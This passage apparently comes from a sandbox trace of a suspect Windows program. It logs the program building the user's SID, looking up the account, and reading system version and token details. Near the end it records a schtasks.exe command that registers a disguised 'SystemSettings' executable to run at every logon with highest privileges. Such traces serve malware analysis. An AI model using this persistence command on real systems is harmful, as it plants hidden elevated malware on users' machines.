0x20abc281ae0 [0133.828] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0133.828] malloc (_Size=0x18) returned 0x20abc281f60 [0133.828] malloc (_Size=0x18) returned 0x20abc281fa0 [0133.828] SysStringLen (param_1="S-1-") returned 0x4 [0133.828] SysStringLen (param_1="5") returned 0x1 [0133.828] memcpy (in: _Dst=0x20abba6abc8, _Src=0x20abba6ac88, _Size=0xa | out: _Dst=0x20abba6abc8) returned 0x20abba6abc8 [0133.828] memcpy (in: _Dst=0x20abba6abd0, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba6abd0) returned 0x20abba6abd0 [0133.828] free (_Block=0x20abc281ae0) [0133.828] free (_Block=0x20abc281f60) [0133.828] GetSidSubAuthorityCount (pSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc281361 [0133.828] GetSidSubAuthority (pSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc281368 [0133.828] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0133.828] malloc (_Size=0x18) returned 0x20abc281ce0 [0133.829] malloc (_Size=0x18) returned 0x20abc281b60 [0133.829] SysStringLen (param_1="S-1-5") returned 0x5 [0133.829] SysStringLen (param_1="-") returned 0x1 [0133.829] memcpy (in: _Dst=0x20abba88298, _Src=0x20abba6abc8, _Size=0xc | out: _Dst=0x20abba88298) returned 0x20abba88298 [0133.829] memcpy (in: _Dst=0x20abba882a2, _Src=0x20abba6ac88, _Size=0x4 | out: _Dst=0x20abba882a2) returned 0x20abba882a2 [0133.829] free (_Block=0x20abc281fa0) [0133.829] free (_Block=0x20abc281ce0) [0133.829] malloc (_Size=0x18) returned 0x20abc281f60 [0133.829] malloc (_Size=0x18) returned 0x20abc281dc0 [0133.829] SysStringLen (param_1="S-1-5-") returned 0x6 [0133.829] SysStringLen (param_1="21") returned 0x2 [0133.829] memcpy (in: _Dst=0x20abba6ac88, _Src=0x20abba88298, _Size=0xe | out: _Dst=0x20abba6ac88) returned 0x20abba6ac88 [0133.829] memcpy (in: _Dst=0x20abba6ac94, _Src=0x20abba6abc8, _Size=0x6 | out: _Dst=0x20abba6ac94) returned 0x20abba6ac94 [0133.829] free (_Block=0x20abc281b60) [0133.829] free (_Block=0x20abc281f60) [0133.829] GetSidSubAuthority (pSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc28136c [0133.829] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0133.829] malloc (_Size=0x18) returned 0x20abc281e80 [0133.829] malloc (_Size=0x18) returned 0x20abc281ea0 [0133.829] SysStringLen (param_1="S-1-5-21") returned 0x8 [0133.829] SysStringLen (param_1="-") returned 0x1 [0133.829] memcpy (in: _Dst=0x20abba6abc8, _Src=0x20abba6ac88, _Size=0x12 | out: _Dst=0x20abba6abc8) returned 0x20abba6abc8 [0133.829] memcpy (in: _Dst=0x20abba6abd8, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba6abd8) returned 0x20abba6abd8 [0133.830] free (_Block=0x20abc281dc0) [0133.830] free (_Block=0x20abc281e80) [0133.830] malloc (_Size=0x18) returned 0x20abc281a00 [0133.830] malloc (_Size=0x18) returned 0x20abc282020 [0133.830] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0133.830] SysStringLen (param_1="1560258661") returned 0xa [0133.830] memcpy (in: _Dst=0x20abba63638, _Src=0x20abba6abc8, _Size=0x14 | out: _Dst=0x20abba63638) returned 0x20abba63638 [0133.830] memcpy (in: _Dst=0x20abba6364a, _Src=0x20abba6ac88, _Size=0x16 | out: _Dst=0x20abba6364a) returned 0x20abba6364a [0133.830] free (_Block=0x20abc281ea0) [0133.830] free (_Block=0x20abc281a00) [0133.830] GetSidSubAuthority (pSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc281370 [0133.830] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0133.830] malloc (_Size=0x18) returned 0x20abc281c60 [0133.830] malloc (_Size=0x18) returned 0x20abc281be0 [0133.830] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0133.830] SysStringLen (param_1="-") returned 0x1 [0133.830] memcpy (in: _Dst=0x20abba63bd8, _Src=0x20abba63638, _Size=0x28 | out: _Dst=0x20abba63bd8) returned 0x20abba63bd8 [0133.830] memcpy (in: _Dst=0x20abba63bfe, _Src=0x20abba6abc8, _Size=0x4 | out: _Dst=0x20abba63bfe) returned 0x20abba63bfe [0133.830] free (_Block=0x20abc282020) [0133.830] free (_Block=0x20abc281c60) [0133.830] malloc (_Size=0x18) returned 0x20abc281b00 [0133.831] malloc (_Size=0x18) returned 0x20abc281e60 [0133.831] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0133.831] SysStringLen (param_1="3990802383") returned 0xa [0133.831] memcpy (in: _Dst=0x20abba7b888, _Src=0x20abba63bd8, _Size=0x2a | out: _Dst=0x20abba7b888) returned 0x20abba7b888 [0133.831] memcpy (in: _Dst=0x20abba7b8b0, _Src=0x20abba6abc8, _Size=0x16 | out: _Dst=0x20abba7b8b0) returned 0x20abba7b8b0 [0133.831] free (_Block=0x20abc281be0) [0133.831] free (_Block=0x20abc281b00) [0133.831] GetSidSubAuthority (pSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc281374 [0133.831] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0133.831] malloc (_Size=0x18) returned 0x20abc281d80 [0133.831] malloc (_Size=0x18) returned 0x20abc281da0 [0133.831] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0133.831] SysStringLen (param_1="-") returned 0x1 [0133.831] memcpy (in: _Dst=0x20abba7abc8, _Src=0x20abba7b888, _Size=0x3e | out: _Dst=0x20abba7abc8) returned 0x20abba7abc8 [0133.831] memcpy (in: _Dst=0x20abba7ac04, _Src=0x20abba6abc8, _Size=0x4 | out: _Dst=0x20abba7ac04) returned 0x20abba7ac04 [0133.831] free (_Block=0x20abc281e60) [0133.831] free (_Block=0x20abc281d80) [0133.831] malloc (_Size=0x18) returned 0x20abc281fe0 [0133.831] malloc (_Size=0x18) returned 0x20abc281d40 [0133.831] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0133.831] SysStringLen (param_1="1811730007") returned 0xa [0133.832] memcpy (in: _Dst=0x20abba7b888, _Src=0x20abba7abc8, _Size=0x40 | out: _Dst=0x20abba7b888) returned 0x20abba7b888 [0133.832] memcpy (in: _Dst=0x20abba7b8c6, _Src=0x20abba6abc8, _Size=0x16 | out: _Dst=0x20abba7b8c6) returned 0x20abba7b8c6 [0133.832] free (_Block=0x20abc281da0) [0133.832] free (_Block=0x20abc281fe0) [0133.832] GetSidSubAuthority (pSid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc281378 [0133.832] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0133.832] malloc (_Size=0x18) returned 0x20abc281cc0 [0133.832] malloc (_Size=0x18) returned 0x20abc281ce0 [0133.832] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0133.832] SysStringLen (param_1="-") returned 0x1 [0133.832] memcpy (in: _Dst=0x20abba7abc8, _Src=0x20abba7b888, _Size=0x54 | out: _Dst=0x20abba7abc8) returned 0x20abba7abc8 [0133.832] memcpy (in: _Dst=0x20abba7ac1a, _Src=0x20abba6abc8, _Size=0x4 | out: _Dst=0x20abba7ac1a) returned 0x20abba7ac1a [0133.832] free (_Block=0x20abc281d40) [0133.832] free (_Block=0x20abc281cc0) [0133.832] malloc (_Size=0x18) returned 0x20abc2820a0 [0133.832] malloc (_Size=0x18) returned 0x20abc281be0 [0133.832] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0133.832] SysStringLen (param_1="1000") returned 0x4 [0133.832] memcpy (in: _Dst=0x20abba7b888, _Src=0x20abba7abc8, _Size=0x56 | out: _Dst=0x20abba7b888) returned 0x20abba7b888 [0133.832] memcpy (in: _Dst=0x20abba7b8dc, _Src=0x20abba6abc8, _Size=0xa | out: _Dst=0x20abba7b8dc) returned 0x20abba7b8dc [0133.832] free (_Block=0x20abc281ce0) [0133.833] free (_Block=0x20abc2820a0) [0133.833] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0133.833] malloc (_Size=0x5e) returned 0x20abc2801b0 [0133.833] free (_Block=0x20abc281be0) [0133.833] malloc (_Size=0x18) returned 0x20abc2819a0 [0133.833] free (_Block=0x20abc2801b0) [0133.833] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 0 [0133.835] GetLastError () returned 0x7a [0133.835] malloc (_Size=0x1a) returned 0x20abc2a9c70 [0133.835] malloc (_Size=0xe) returned 0x20abc281c80 [0133.835] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc281360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2a9c70, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281c80, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 1 [0133.836] malloc (_Size=0x18) returned 0x20abc281b40 [0133.836] malloc (_Size=0x18) returned 0x20abc281960 [0133.836] free (_Block=0x20abc2a9c70) [0133.837] free (_Block=0x20abc281c80) [0133.837] free (_Block=0x20abc2a9c10) [0133.837] free (_Block=0x20abc281960) [0133.837] free (_Block=0x20abc281b40) [0133.837] free (_Block=0x20abc2819a0) [0133.838] free (_Block=0x20abc281350) [0133.838] GetVersionExW (in: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x2d, dwMinorVersion=0xbba85138, dwBuildNumber=0x20a, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0133.838] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0133.838] GetLastError () returned 0x7a [0133.838] malloc (_Size=0x2c) returned 0x20abc281890 [0133.838] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x20abc281890, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc281890, ReturnLength=0x2dc237c4b0) returned 1 [0133.838] IsValidSid (pSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0133.838] GetLengthSid (pSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0133.838] malloc (_Size=0x1c) returned 0x20abc2a9fa0 [0133.838] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2a9fa0, pSourceSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2a9fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0133.838] GetSidIdentifierAuthority (pSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2818a2 [0133.839] malloc (_Size=0x18) returned 0x20abc281e60 [0133.839] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0133.839] malloc (_Size=0x18) returned 0x20abc281fc0 [0133.839] malloc (_Size=0x18) returned 0x20abc2819a0 [0133.839] SysStringLen (param_1="S-1-") returned 0x4 [0133.839] SysStringLen (param_1="5") returned 0x1 [0133.841] memcpy (in: _Dst=0x20abba6ac88, _Src=0x20abba6abc8, _Size=0xa | out: _Dst=0x20abba6ac88) returned 0x20abba6ac88 [0133.841] memcpy (in: _Dst=0x20abba6ac90, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba6ac90) returned 0x20abba6ac90 [0133.841] free (_Block=0x20abc281e60) [0133.841] free (_Block=0x20abc281fc0) [0133.842] GetSidSubAuthorityCount (pSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2818a1 [0133.842] GetSidSubAuthority (pSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc2818a8 [0133.842] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0133.842] malloc (_Size=0x18) returned 0x20abc281be0 [0133.842] malloc (_Size=0x18) returned 0x20abc281b40 [0133.842] SysStringLen (param_1="S-1-5") returned 0x5 [0133.842] SysStringLen (param_1="-") returned 0x1 [0133.842] memcpy (in: _Dst=0x20abba88298, _Src=0x20abba6ac88, _Size=0xc | out: _Dst=0x20abba88298) returned 0x20abba88298 [0133.842] memcpy (in: _Dst=0x20abba882a2, _Src=0x20abba6abc8, _Size=0x4 | out: _Dst=0x20abba882a2) returned 0x20abba882a2 [0133.842] free (_Block=0x20abc2819a0) [0133.842] free (_Block=0x20abc281be0) [0133.842] malloc (_Size=0x18) returned 0x20abc281a80 [0133.842] malloc (_Size=0x18) returned 0x20abc281c40 [0133.842] SysStringLen (param_1="S-1-5-") returned 0x6 [0133.842] SysStringLen (param_1="21") returned 0x2 [0133.842] memcpy (in: _Dst=0x20abba6abc8, _Src=0x20abba88298, _Size=0xe | out: _Dst=0x20abba6abc8) returned 0x20abba6abc8 [0133.842] memcpy (in: _Dst=0x20abba6abd4, _Src=0x20abba6ac88, _Size=0x6 | out: _Dst=0x20abba6abd4) returned 0x20abba6abd4 [0133.842] free (_Block=0x20abc281b40) [0133.842] free (_Block=0x20abc281a80) [0133.842] GetSidSubAuthority (pSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc2818ac [0133.842] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0133.843] malloc (_Size=0x18) returned 0x20abc281d20 [0133.843] malloc (_Size=0x18) returned 0x20abc2820e0 [0133.843] SysStringLen (param_1="S-1-5-21") returned 0x8 [0133.843] SysStringLen (param_1="-") returned 0x1 [0133.843] memcpy (in: _Dst=0x20abba6ac88, _Src=0x20abba6abc8, _Size=0x12 | out: _Dst=0x20abba6ac88) returned 0x20abba6ac88 [0133.843] memcpy (in: _Dst=0x20abba6ac98, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba6ac98) returned 0x20abba6ac98 [0133.843] free (_Block=0x20abc281c40) [0133.843] free (_Block=0x20abc281d20) [0133.843] malloc (_Size=0x18) returned 0x20abc282000 [0133.843] malloc (_Size=0x18) returned 0x20abc281be0 [0133.843] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0133.843] SysStringLen (param_1="1560258661") returned 0xa [0133.843] memcpy (in: _Dst=0x20abba63638, _Src=0x20abba6ac88, _Size=0x14 | out: _Dst=0x20abba63638) returned 0x20abba63638 [0133.843] memcpy (in: _Dst=0x20abba6364a, _Src=0x20abba6abc8, _Size=0x16 | out: _Dst=0x20abba6364a) returned 0x20abba6364a [0133.843] free (_Block=0x20abc2820e0) [0133.843] free (_Block=0x20abc282000) [0133.843] GetSidSubAuthority (pSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc2818b0 [0133.843] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0133.843] malloc (_Size=0x18) returned 0x20abc281e00 [0133.843] malloc (_Size=0x18) returned 0x20abc281960 [0133.843] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0133.843] SysStringLen (param_1="-") returned 0x1 [0133.844] memcpy (in: _Dst=0x20abba63bd8, _Src=0x20abba63638, _Size=0x28 | out: _Dst=0x20abba63bd8) returned 0x20abba63bd8 [0133.844] memcpy (in: _Dst=0x20abba63bfe, _Src=0x20abba6ac88, _Size=0x4 | out: _Dst=0x20abba63bfe) returned 0x20abba63bfe [0133.844] free (_Block=0x20abc281be0) [0133.844] free (_Block=0x20abc281e00) [0133.844] malloc (_Size=0x18) returned 0x20abc2819e0 [0133.844] malloc (_Size=0x18) returned 0x20abc282060 [0133.844] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0133.844] SysStringLen (param_1="3990802383") returned 0xa [0133.844] memcpy (in: _Dst=0x20abba7abc8, _Src=0x20abba63bd8, _Size=0x2a | out: _Dst=0x20abba7abc8) returned 0x20abba7abc8 [0133.844] memcpy (in: _Dst=0x20abba7abf0, _Src=0x20abba6ac88, _Size=0x16 | out: _Dst=0x20abba7abf0) returned 0x20abba7abf0 [0133.844] free (_Block=0x20abc281960) [0133.844] free (_Block=0x20abc2819e0) [0133.844] GetSidSubAuthority (pSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc2818b4 [0133.844] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0133.844] malloc (_Size=0x18) returned 0x20abc281f60 [0133.844] malloc (_Size=0x18) returned 0x20abc281ea0 [0133.844] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0133.844] SysStringLen (param_1="-") returned 0x1 [0133.844] memcpy (in: _Dst=0x20abba7b888, _Src=0x20abba7abc8, _Size=0x3e | out: _Dst=0x20abba7b888) returned 0x20abba7b888 [0133.844] memcpy (in: _Dst=0x20abba7b8c4, _Src=0x20abba6ac88, _Size=0x4 | out: _Dst=0x20abba7b8c4) returned 0x20abba7b8c4 [0133.844] free (_Block=0x20abc282060) [0133.845] free (_Block=0x20abc281f60) [0133.845] malloc (_Size=0x18) returned 0x20abc282040 [0133.845] malloc (_Size=0x18) returned 0x20abc281a20 [0133.845] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0133.845] SysStringLen (param_1="1811730007") returned 0xa [0133.845] memcpy (in: _Dst=0x20abba7abc8, _Src=0x20abba7b888, _Size=0x40 | out: _Dst=0x20abba7abc8) returned 0x20abba7abc8 [0133.845] memcpy (in: _Dst=0x20abba7ac06, _Src=0x20abba6ac88, _Size=0x16 | out: _Dst=0x20abba7ac06) returned 0x20abba7ac06 [0133.845] free (_Block=0x20abc281ea0) [0133.845] free (_Block=0x20abc282040) [0133.845] GetSidSubAuthority (pSid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc2818b8 [0133.845] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0133.845] malloc (_Size=0x18) returned 0x20abc281aa0 [0133.845] malloc (_Size=0x18) returned 0x20abc281c40 [0133.845] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0133.845] SysStringLen (param_1="-") returned 0x1 [0133.845] memcpy (in: _Dst=0x20abba7b888, _Src=0x20abba7abc8, _Size=0x54 | out: _Dst=0x20abba7b888) returned 0x20abba7b888 [0133.845] memcpy (in: _Dst=0x20abba7b8da, _Src=0x20abba6ac88, _Size=0x4 | out: _Dst=0x20abba7b8da) returned 0x20abba7b8da [0133.845] free (_Block=0x20abc281a20) [0133.845] free (_Block=0x20abc281aa0) [0133.845] malloc (_Size=0x18) returned 0x20abc281de0 [0133.845] malloc (_Size=0x18) returned 0x20abc281f00 [0133.845] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0133.846] SysStringLen (param_1="1000") returned 0x4 [0133.846] memcpy (in: _Dst=0x20abba7abc8, _Src=0x20abba7b888, _Size=0x56 | out: _Dst=0x20abba7abc8) returned 0x20abba7abc8 [0133.846] memcpy (in: _Dst=0x20abba7ac1c, _Src=0x20abba6ac88, _Size=0xa | out: _Dst=0x20abba7ac1c) returned 0x20abba7ac1c [0133.846] free (_Block=0x20abc281c40) [0133.846] free (_Block=0x20abc281de0) [0133.846] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0133.846] malloc (_Size=0x5e) returned 0x20abc2807d0 [0133.846] free (_Block=0x20abc281f00) [0133.846] malloc (_Size=0x18) returned 0x20abc2819a0 [0133.847] free (_Block=0x20abc2807d0) [0133.847] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 0 [0133.848] GetLastError () returned 0x7a [0133.848] malloc (_Size=0x1a) returned 0x20abc2aa120 [0133.848] malloc (_Size=0xe) returned 0x20abc281d80 [0133.848] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2818a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2aa120, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281d80, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 1 [0133.849] malloc (_Size=0x18) returned 0x20abc2819c0 [0133.849] malloc (_Size=0x18) returned 0x20abc281e60 [0133.849] free (_Block=0x20abc2aa120) [0133.849] free (_Block=0x20abc281d80) [0133.849] free (_Block=0x20abc2a9fa0) [0133.849] free (_Block=0x20abc281e60) [0133.849] free (_Block=0x20abc2819c0) [0133.849] free (_Block=0x20abc2819a0) [0133.850] free (_Block=0x20abc281890) [0133.851] SetEvent (hEvent=0x248) returned 1 [0133.852] free (_Block=0x20abc285af0) [0133.852] CreateEnvironmentBlock () returned 0x1 [0133.861] malloc (_Size=0x18) returned 0x20abc281be0 [0133.861] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"SystemSettings\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x20abba86130, lpCurrentDirectory=0x0, lpStartupInfo=0x2dc237c5d0*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2dc237c478 | out: lpCommandLine="schtasks.exe /create /tn \"SystemSettings\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /rl HIGHEST /f", lpProcessInformation=0x2dc237c478*(hProcess=0x260, hThread=0x264, dwProcessId=0x1360, dwThreadId=0x1378)) returned 1 [0133.971] CloseHandle (hObject=0x260) returned 1 [0133.972] CloseHandle (hObject=0x264) returned 1 [0133.972] free (_Block=0x20abc281be0) [0133.973] DestroyEnvironmentBlock () returned 0x1 [0133.973] malloc (_Size=0x48) returned 0x20abc285e10 [0133.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc237c450 | out: lpSystemTimeAsFileTime=0x2dc237c450*(dwLowDateTime=0xb9e1042, dwHighDateTime=0x1d9eb0c)) [0133.973] SetEvent (hEvent=0x248) returned 1 [0133.973] CloseHandle (hObject=0x26c) returned 1 [0133.973] CloseHandle (hObject=0x270) returned 1 [0133.980] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abba48280 [0133.980] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba48280, pulNumLanguages=0x2dc237dd50 | out: pulNumLanguages=0x2dc237dd50) returned 1 [0133.980] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48280) returned 1 [0133.980] RtlFreeHeap 